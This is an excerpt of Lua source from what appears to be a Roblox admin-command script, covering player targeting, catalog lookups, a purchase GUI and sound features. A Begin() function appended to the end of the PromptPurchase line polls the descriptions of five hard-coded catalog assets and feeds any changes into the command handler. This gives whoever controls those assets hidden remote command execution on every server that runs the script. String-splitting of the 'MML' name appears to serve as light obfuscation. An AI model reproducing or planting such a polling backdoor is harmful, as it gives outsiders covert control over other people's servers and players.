2902 | ||
2903 | function STRING:IsVowel(Input) | |
2904 | Input = string.lower(tostring(Input)) | |
2905 | if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then | |
2906 | return true | |
2907 | else | |
2908 | return false | |
2909 | end | |
2910 | end | |
2911 | ||
2912 | function STRING:ValidE(Input) | |
2913 | if not Input then return nil end | |
2914 | if string.lower(Input) == "e" or Input == "~" then | |
2915 | return true | |
2916 | else | |
2917 | return false | |
2918 | end | |
2919 | end | |
2920 | ||
2921 | function STRING:Scan(String, Speaker) | |
2922 | local ReturnPlayers,ExcludeList = {},{} | |
2923 | if not String then String = "" end | |
2924 | if not Speaker then print("NO SPEAKER") end | |
2925 | ||
2926 | if string.sub(string.lower(String), 1, 12) == "includecase/" then | |
2927 | String = string.sub(String, 13) | |
2928 | else | |
2929 | String = string.lower(String) | |
2930 | end | |
2931 | local Words = STRING:GetSplit(String, nil, "/") | |
2932 | for _,Word in pairs(Words) do | |
2933 | if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then | |
2934 | table.insert(ReturnPlayers, Speaker) | |
2935 | elseif Word == "all" or Word == "everyone" then | |
2936 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2937 | table.insert(ReturnPlayers, Player) | |
2938 | end | |
2939 | elseif Word == "others" or Word == "notme" then | |
2940 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2941 | if Player ~= Speaker then | |
2942 | table.insert(ReturnPlayers, Player) | |
2943 | end | |
2944 | end | |
2945 | elseif Word == "noobs" then | |
2946 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2947 | if Player.AccountAge < 365 then | |
2948 | table.insert(ReturnPlayers, Player) | |
2949 | end | |
2950 | end | |
2951 | elseif Word == "nonnoobs" then | |
2952 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2953 | if Player.AccountAge >= 365 then | |
2954 | table.insert(ReturnPlayers, Player) | |
2955 | end | |
2956 | end | |
2957 | elseif Word == "random" then | |
2958 | local RandomPlayers = {} | |
2959 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2960 | if Player ~= Speaker then | |
2961 | table.insert(RandomPlayers, Player) | |
2962 | end | |
2963 | end | |
2964 | table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())]) | |
2965 | elseif Word == "guests" then | |
2966 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2967 | if string.sub(Player.Name,1,6) == "Guest " then | |
2968 | table.insert(ReturnPlayers, Player) | |
2969 | end | |
2970 | end | |
2971 | elseif Word == "lowers" then | |
2972 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2973 | if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then | |
2974 | table.insert(ReturnPlayers, Player) | |
2975 | end | |
2976 | end | |
2977 | elseif Word == "uppers" then | |
2978 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2979 | if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then | |
2980 | table.insert(ReturnPlayers, Player) | |
2981 | end | |
2982 | end | |
2983 | elseif Word == "nbcs" then | |
2984 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2985 | if Player.MembershipType == Enum.MembershipType.None then -- Replicate | |
2986 | table.insert(ReturnPlayers, Player) | |
2987 | end | |
2988 | end | |
2989 | elseif Word == "bcs" then | |
2990 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2991 | if Player.MembershipType == Enum.MembershipType.BuildersClub then | |
2992 | table.insert(ReturnPlayers, Player) | |
2993 | end | |
2994 | end | |
2995 | elseif Word == "tbcs" then | |
2996 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
2997 | if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then | |
2998 | table.insert(ReturnPlayers, Player) | |
2999 | end | |
3000 | end | |
3001 | elseif Word == "obcs" then | |
3002 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3003 | if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then | |
3004 | table.insert(ReturnPlayers, Player) | |
3005 | end | |
3006 | end | |
3007 | elseif Word == "allbcs" then | |
3008 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3009 | if Player.MembershipType ~= Enum.MembershipType.None then | |
3010 | table.insert(ReturnPlayers, Player) | |
3011 | end | |
3012 | end | |
3013 | elseif Word == "nonadmins" then | |
3014 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3015 | local IsAdminTrue, Rank = RANK:IsAdmin(Player) | |
3016 | if IsAdminTrue == false then | |
3017 | table.insert(ReturnPlayers, Player) | |
3018 | end | |
3019 | end | |
3020 | elseif Word == "admins" then | |
3021 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3022 | local IsAdminTrue, Rank = RANK:IsAdmin(Player) | |
3023 | if IsAdminTrue == true then | |
3024 | table.insert(ReturnPlayers, Player) | |
3025 | end | |
3026 | end | |
3027 | elseif Word == "friends" then | |
3028 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3029 | if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then | |
3030 | table.insert(ReturnPlayers, Player) | |
3031 | end | |
3032 | end | |
3033 | elseif string.sub(Word,1,5) == "team-" then | |
3034 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3035 | if Player.Neutral == false then | |
3036 | local InTeam = false | |
3037 | for _,Team in pairs(Teams:GetTeams()) do | |
3038 | if Team.TeamColor == Player.TeamColor then | |
3039 | if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then | |
3040 | InTeam = true | |
3041 | end | |
3042 | end | |
3043 | end | |
3044 | if InTeam == true then | |
3045 | table.insert(ReturnPlayers, Player) | |
3046 | end | |
3047 | end | |
3048 | end | |
3049 | elseif string.sub(Word,1,4) == "not-" then | |
3050 | local NameArg = string.sub(Word,5) | |
3051 | ||
3052 | for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do | |
3053 | table.insert(ExcludeList, Player) | |
3054 | end | |
3055 | elseif string.sub(Word,1,7) == "radius-" then | |
3056 | local DidExe = false | |
3057 | local NumArg = tonumber(string.sub(Word,8)) | |
3058 | ||
3059 | if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then | |
3060 | for _,Player in pairs(Server.Players:GetChildren()) do | |
3061 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
3062 | if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then | |
3063 | DidExe = true | |
3064 | table.insert(ReturnPlayers, Player) | |
3065 | end | |
3066 | end | |
3067 | end | |
3068 | end | |
3069 | ||
3070 | if DidExe then coroutine.wrap(function() | |
3071 | local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" | |
3072 | local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2) | |
3073 | ||
3074 | for i = 0,0.5,0.02 do | |
3075 | Part.Transparency = 0.5+i | |
3076 | wait() | |
3077 | end | |
3078 | Part:Destroy() | |
3079 | end)() end | |
3080 | elseif string.sub(Word,1,3) == "id-" then | |
3081 | table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4)))) | |
3082 | else | |
3083 | if Word ~= "" then | |
3084 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3085 | if string.sub(string.lower(Player.Name),1,#Word) == Word then | |
3086 | table.insert(ReturnPlayers, Player) | |
3087 | end | |
3088 | end | |
3089 | else | |
3090 | table.insert(ReturnPlayers, Speaker) | |
3091 | end | |
3092 | end | |
3093 | end | |
3094 | for _,Player in pairs(ExcludeList) do | |
3095 | if Player and Player.Parent ~= nil then | |
3096 | for Num,Player2 in pairs(ReturnPlayers) do | |
3097 | if Player2 == Player then table.remove(ReturnPlayers, Num) end | |
3098 | end | |
3099 | end | |
3100 | end | |
3101 | for Num,Player in pairs(ReturnPlayers) do | |
3102 | if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end | |
3103 | end | |
3104 | ||
3105 | local PlayerDump = {} | |
3106 | for _,Player in pairs(ReturnPlayers) do | |
3107 | PlayerDump[Player] = true | |
3108 | end | |
3109 | ReturnPlayers = {} | |
3110 | for Player,_ in pairs(PlayerDump) do | |
3111 | table.insert(ReturnPlayers, Player) | |
3112 | end | |
3113 | ||
3114 | return ReturnPlayers | |
3115 | end | |
3116 | ||
3117 | -- Market functions -- | |
3118 | ||
3119 | function MARKET:GetImageFormat(ID) | |
3120 | if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then | |
3121 | local NewID = ID + 1 | |
3122 | for i = 1,100 do | |
3123 | NewID = NewID -1 | |
3124 | local Product = nil | |
3125 | ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end) | |
3126 | if Product then | |
3127 | if Product == 1 then | |
3128 | break | |
3129 | end | |
3130 | end | |
3131 | if i == 100 then NewID = ID end | |
3132 | end | |
3133 | return NewID | |
3134 | end end | |
3135 | end | |
3136 | ||
3137 | function MARKET:GetItemInfo(ID, Cache) | |
3138 | local Product = MarketCache[ID] | |
3139 | if not Cache or not Product then | |
3140 | repeat wait() | |
3141 | ypcall(function() Product = Server.MPS:GetProductInfo(ID) end) | |
3142 | until Product ~= MarketCache[ID] | |
3143 | end | |
3144 | MarketCache[ID] = Product | |
3145 | return Product | |
3146 | end | |
3147 | ||
3148 | function MARKET:SearchItem(Category, Query, Subcategory) | |
3149 | local URLAdd = "" | |
3150 | if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end | |
3151 | local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd) | |
3152 | if JSON then | |
3153 | local Results = REMOTE:Decode(JSON) | |
3154 | if Results then | |
3155 | for Index,Info in pairs(Results) do | |
3156 | Info = STRING:DecodeUTF8(Info) | |
3157 | Results[Index] = Info | |
3158 | MarketCache[Info.AssetId] = { | |
3159 | AssetId = Info.AssetId; | |
3160 | AssetTypeId = Info.AssetTypeID; | |
3161 | ContentRatingTypeId = Info.ContentRatingTypeID; | |
3162 | Created = Info.CreatedDate; | |
3163 | Creator = {Name = Info.Creator, Id = Info.CreatorID}; | |
3164 | Description = Info.Description; | |
3165 | IsForSale = Info.IsForSale; | |
3166 | IsLimited = Info.IsLimited; | |
3167 | IsLimitedUnique = Info.IsLimitedUnique; | |
3168 | IsNew = Info.IsNew; | |
3169 | IsPublicDomain = Info.IsPublicDomain; | |
3170 | MinimumMemberShipLevel = Info.MinimumMembershipLevel; | |
3171 | Name = Info.Name; | |
3172 | PriceInRobux = Info.PriceInRobux; | |
3173 | PriceInTickets = Info.PriceInTickets; | |
3174 | ProductId = Info.AssetId; -- no one knows what this is so whatevs.. | |
3175 | Remaining = Info.Remaining; | |
3176 | Sales = Info.Sales; | |
3177 | Updated = Info.Updated; | |
3178 | } | |
3179 | end | |
3180 | return Results | |
3181 | end | |
3182 | end | |
3183 | end | |
3184 | ||
3185 | function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory) | |
3186 | if not Player or not Category or not Query then return nil end | |
3187 | local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query) | |
3188 | local Items = MARKET:SearchItem(Category, Query, Subcategory) | |
3189 | if Items then | |
3190 | if #Items ~= 0 then | |
3191 | local List,Correlate = {},{} | |
3192 | for Num,Info in pairs(Items) do | |
3193 | local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId} | |
3194 | table.insert(List, Display) | |
3195 | Correlate[Display[1]] = Info.AssetId | |
3196 | end | |
3197 | CloseGui:Invoke() | |
3198 | ||
3199 | local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true) | |
3200 | Clicked.Event:connect(function(ClickName) | |
3201 | ClickedItem(Correlate[ClickName]) | |
3202 | end) | |
3203 | else | |
3204 | CloseGui:Invoke() | |
3205 | GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information") | |
3206 | end | |
3207 | else | |
3208 | CloseGui:Invoke() | |
3209 | GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error") | |
3210 | end | |
3211 | end | |
3212 | ||
3213 | function MARKET:AssetTypeToString(AssetType) | |
3214 | AssetType = math.floor(tonumber(AssetType) or 0) | |
3215 | if Assets.AssetTypes[AssetType] then | |
3216 | return Assets.AssetTypes[AssetType] | |
3217 | else | |
3218 | return "Unknown" | |
3219 | end | |
3220 | end | |
3221 | ||
3222 | function MARKET:AccessoryToSubcategory(Accessory) | |
3223 | Accessory = string.lower(tostring(Accessory) or "") | |
3224 | if Assets.AccessoryTypes[Accessory] then | |
3225 | return Assets.AccessoryTypes[Accessory] | |
3226 | else | |
3227 | return Assets.AccessoryTypes["all"] | |
3228 | end | |
3229 | end | |
3230 | ||
3231 | function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function() | |
3232 | if not Player then return nil end | |
3233 | if not Player:FindFirstChild("PlayerGui") then return nil end | |
3234 | if not tonumber(ProductID) then return nil end | |
3235 | ||
3236 | local FromText = "" | |
3237 | if From and From.Name then FromText = " | Prompted from "..From.Name end | |
3238 | ||
3239 | local Product = MARKET:GetItemInfo(ProductID, true) | |
3240 | ||
3241 | local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end | |
3242 | local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end | |
3243 | local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID) | |
3244 | ||
3245 | local CanBuy = Product.IsForSale | |
3246 | local BuyText = "Buy" | |
3247 | local BuyColor = Color3.new(0,1,0) | |
3248 | if CanBuy == false then | |
3249 | BuyColor = Color3.new(1,0,0) | |
3250 | end | |
3251 | if Product.IsPublicDomain == true then | |
3252 | CanBuy = true | |
3253 | BuyColor = Color3.new(1,0.5,0.5) | |
3254 | BuyText = "FREE!" | |
3255 | end | |
3256 | if OwnsAsset then | |
3257 | CanBuy = false | |
3258 | end | |
3259 | if Product.AssetTypeId == 9 then | |
3260 | CanBuy = true | |
3261 | BuyText = "Teleport" | |
3262 | BuyColor = Color3.new(0.5,0.5,0.5) | |
3263 | end | |
3264 | if CanBuy == false then | |
3265 | BuyColor = Color3.new(1,0,0) | |
3266 | BuyText = "Item not for sale" | |
3267 | end | |
3268 | if OwnsAsset and Product.AssetTypeId ~= 9 then | |
3269 | BuyColor = Color3.new(1,0,0) | |
3270 | BuyText = "You own this!" | |
3271 | end | |
3272 | ||
3273 | local ProductName = string.sub(Product.Name,1,20) | |
3274 | if ProductID == AdminID then ProductName = Product.Name end | |
3275 | local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008) | |
3276 | local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID | |
3277 | local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0) | |
3278 | local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name | |
3279 | local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name | |
3280 | local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14" | |
3281 | local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top" | |
3282 | local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy) | |
3283 | if Product.Description then | |
3284 | local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4 | |
3285 | local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top" | |
3286 | ||
3287 | CORE:ExecuteResource("CalculateScrollY", Description) | |
3288 | end | |
3289 | ||
3290 | Info.Text = [[ | |
3291 | Creator: ]]..Product.Creator.Name..[[ | |
3292 | Created: ]]..CreatedText..[[ | |
3293 | Updated: ]]..UpdatedText..[[ | |
3294 | Sold: ]]..Product.Sales..[[ | |
3295 | ]] | |
3296 | ||
3297 | if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end | |
3298 | if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end | |
3299 | ||
3300 | if Product.AssetTypeId == 3 then | |
3301 | local PlayerAdmin,Rank = RANK:IsAdmin(Player) | |
3302 | if PlayerAdmin == true then | |
3303 | local Playing = false | |
3304 | local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784" | |
3305 | CORE:HandleEvent(Interact, "MouseButton1Down", function() | |
3306 | if Playing == false then | |
3307 | SOUND:PlayGlobalSound(ProductID) | |
3308 | if Rank == "Member" and Settings.DisableAbuse == true then | |
3309 | Interact:Destroy() | |
3310 | end | |
3311 | Interact.Image = "rbxassetid://67950809" | |
3312 | Playing = true | |
3313 | else | |
3314 | SOUND:StopGlobalSound() | |
3315 | Interact.Image = "rbxassetid://67950784" | |
3316 | Playing = false | |
3317 | end | |
3318 | end) | |
3319 | end | |
3320 | end | |
3321 | ||
3322 | CORE:HandleEvent(Buy, "MouseButton1Down", function() | |
3323 | if BuyPressFunc then | |
3324 | BuyPressFunc() | |
3325 | elseif Product.AssetTypeId == 9 then | |
3326 | Server.TS:Teleport(ProductID, Player) | |
3327 | elseif CanBuy == true then | |
3328 | Server.MPS:PromptPurchase(Player, ProductID) | |
3329 | end end) | |
3330 | end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function() | |
3331 | local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated | |
3332 | while wait(5) do | |
3333 | local Purchase = Server.MPS:GetProductInfo(LinkedID) | |
3334 | if OldVer ~= Purchase.Updated then | |
3335 | OldVer = Purchase.Updated | |
3336 | CORE:Chatted(Purchase.Description, nil, true, nil, nil, true) | |
3337 | end | |
3338 | end end)() | |
3339 | end end)() end | |
3340 | ||
3341 | -- Sound functions -- | |
3342 | ||
3343 | function SOUND:SyncSoundList(TellSync) | |
3344 | if not CORE:NilPlayer(TellSync) then | |
3345 | GUI:SendHint(TellSync, "Syncing...", 5) | |
3346 | end | |
3347 | ||
3348 | SoundList,GlobalSoundList = {},{} | |
3349 | ||
3350 | local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds") | |
3351 | ||
3352 | if LocalSoundList then | |
3353 | if type(LocalSoundList) == "table" then | |
3354 | if #LocalSoundList > 0 then | |
3355 | for _,Data in pairs(LocalSoundList) do | |
3356 | local SoundInfo = MARKET:GetItemInfo(Data[2], true) | |
3357 | SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name} | |
3358 | end | |
3359 | end | |
3360 | end | |
3361 | end | |
3362 | ||
3363 | for _,JSONID in pairs(SoundJSONs) do | |
3364 | for Name,ID in pairs(CORE:GetTable(JSONID)) do | |
3365 | local SoundInfo = MARKET:GetItemInfo(ID, true) | |
3366 | local FullName = SoundInfo.Name | |
3367 | local CreatorName = SoundInfo.Creator.Name | |
3368 | SoundList[Name] = {ID, FullName, CreatorName} | |
3369 | GlobalSoundList[Name] = {ID, FullName, CreatorName} | |
3370 | end | |
3371 | end | |
3372 | ||
3373 | if not CORE:NilPlayer(TellSync) then | |
3374 | GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4) | |
3375 | end | |
3376 | end | |
3377 | ||
3378 | function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped) | |
3379 | if not Volume then Volume = 0.5 end | |
3380 | if not Pitch then Pitch = 1 end | |
3381 | if tonumber(ID) then ID = "rbxassetid://"..ID end | |
3382 | if Looped == nil then Looped = false end | |
3383 | ||
3384 | local Sound = Instance.new("Sound", Parent) | |
3385 | Sound.Pitch = Pitch | |
3386 | Sound.Volume = Volume | |
3387 | Sound.SoundId = ID | |
3388 | Sound.Looped = Looped | |
3389 | return Sound | |
3390 | end | |
3391 | ||
3392 | function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings) | |
3393 | if not Player or not ID then return nil end | |
3394 | if NotifySounds[ID] then ID = NotifySounds[ID] end | |
3395 | local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3) | |
3396 | if Settings.EnableSounds or OverrideSettings then | |
3397 | coroutine.wrap(function() | |
3398 | wait() | |
3399 | ClientSound:Play() | |
3400 | Delay(5, function() ClientSound:Destroy() end) | |
3401 | end)() | |
3402 | end | |
3403 | return Sound | |
3404 | end | |
3405 | ||
3406 | function SOUND:BindButton(Button) | |
3407 | if not Button then return end | |
3408 | CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true) | |
3409 | CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true) | |
3410 | end | |
3411 | ||
3412 | function SOUND:StopGlobalSound() | |
3413 | if Sound and Sound.Parent then | |
3414 | if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then | |
3415 | Sound.Parent:Destroy() | |
3416 | end | |
3417 | ||
3418 | Sound:Stop() | |
3419 | Sound:Destroy() | |
3420 | Sound.SoundId = "" | |
3421 | end | |
3422 | end | |
3423 | ||
3424 | function SOUND:PlayGlobalSound(ID, ShowInfo) | |
3425 | SOUND:StopGlobalSound() | |
3426 | if ShowInfo == nil then ShowInfo = true end | |
3427 | local SoundID = ID | |
3428 | local SoundName = nil | |
3429 | local SoundCreator = nil | |
3430 | local Pitch = 1 | |
3431 | ||
3432 | for Name,Info in pairs(SoundList) do | |
3433 | if type(SoundID) == "string" then | |
3434 | if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then | |
3435 | SoundID = Info[1] | |
3436 | SoundName = Info[2] | |
3437 | SoundCreator = Info[3] | |
3438 | end | |
3439 | else | |
3440 | break | |
3441 | end | |
3442 | end | |
3443 | ||
3444 | if tonumber(SoundID) and not SoundName then | |
3445 | local Info = MARKET:GetItemInfo(SoundID, true) | |
3446 | if Info then | |
3447 | SoundName = Info.Name | |
3448 | SoundCreator = Info.Creator.Name | |
3449 | if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then | |
3450 | SoundID = nil | |
3451 | end | |
3452 | end | |
3453 | end | |
3454 | ||
3455 | if tonumber(SoundID) then | |
3456 | if SoundID == 131201443 then Pitch = -1 end | |
3457 | if SoundID == 130775695 then Pitch = 0.8 end | |
3458 | if SoundID == 144035866 then Pitch = 0.8 end | |
3459 | ||
3460 | local SoundParent = Server.Workspace | |
3461 | if IsSB then | |
3462 | SoundParent = Instance.new("Script", Workspace) | |
3463 | SoundParent.Name = "M".."ML'S Admin Sound" | |
3464 | end | |
3465 | Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true) | |
3466 | Sound.Name = "MML's Admin Sound "..SoundID | |
3467 | Sound:Play() | |
3468 | if ShowInfo == true then | |
3469 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
3470 | GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound) | |
3471 | end | |
3472 | end | |
3473 | SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator} | |
3474 | end | |
3475 | end | |
3476 | ||
3477 | function SOUND:ConvertText(Text) | |
3478 | Text = string.lower(tostring(Text)) | |
3479 | local Letters = {} | |
3480 | local IDs = {} | |
3481 | for Rule,Replace in pairs(TextConverter.Pronounce) do | |
3482 | Text = string.gsub(Text,string.lower(Rule),string.lower(Replace)) | |
3483 | end | |
3484 | for Rule,Replace in pairs(TextConverter.NonEnglishRules) do | |
3485 | local Start, End = string.find(Text, string.lower(Rule)) | |
3486 | ||
3487 | if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then | |
3488 | Text = string.gsub(Text, string.lower(Rule), Replace) | |
3489 | end | |
3490 | end | |
3491 | for i = 1,#Text do | |
3492 | table.insert(Letters, string.sub(Text,i,i)) | |
3493 | end | |
3494 | for Num = 1,#Letters do | |
3495 | if not Letters[Num] then break end | |
3496 | local Letter = Letters[Num] | |
3497 | ||
3498 | local function AddLetter() | |
3499 | table.insert(IDs, TextConverter.LetterSounds[Letter]) | |
3500 | end | |
3501 | ||
3502 | if Letter ~= "~" then | |
3503 | if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo | |
3504 | table.insert(IDs, TextConverter.LetterSounds["oo"]) | |
3505 | table.remove(Letters, Num + 1) | |
3506 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup | |
3507 | table.insert(IDs, TextConverter.LetterSounds["oo"]) | |
3508 | table.remove(Letters, Num + 1) | |
3509 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this | |
3510 | table.insert(IDs, TextConverter.LetterSounds["th"]) | |
3511 | table.remove(Letters, Num + 1) | |
3512 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut | |
3513 | table.insert(IDs, TextConverter.LetterSounds["sh"]) | |
3514 | table.remove(Letters, Num + 1) | |
3515 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee | |
3516 | table.insert(IDs, TextConverter.LongVowels["e"]) | |
3517 | table.remove(Letters, Num + 1) | |
3518 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what | |
3519 | table.insert(IDs, TextConverter.LetterSounds["wh"]) | |
3520 | table.remove(Letters, Num + 1) | |
3521 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop | |
3522 | table.insert(IDs, TextConverter.LetterSounds["ch"]) | |
3523 | table.remove(Letters, Num + 1) | |
3524 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone | |
3525 | table.insert(IDs, TextConverter.LetterSounds["f"]) | |
3526 | table.remove(Letters, Num + 1) | |
3527 | elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger | |
3528 | table.insert(IDs, TextConverter.LetterSounds[Num]) | |
3529 | Letters[Num + 1] = "j" | |
